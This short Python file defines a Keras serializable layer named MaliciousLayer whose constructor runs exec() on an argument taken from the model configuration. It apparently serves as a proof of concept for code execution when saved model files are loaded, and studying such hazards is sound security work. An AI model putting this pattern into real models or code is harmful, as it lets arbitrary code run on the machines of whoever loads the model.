import tensorflow as tf


@tf.keras.utils.register_keras_serializable()
class MaliciousLayer(tf.keras.Layer):
    def __init__(self, f, **kwargs):
        super(MaliciousLayer, self).__init__(**kwargs)
        exec(f)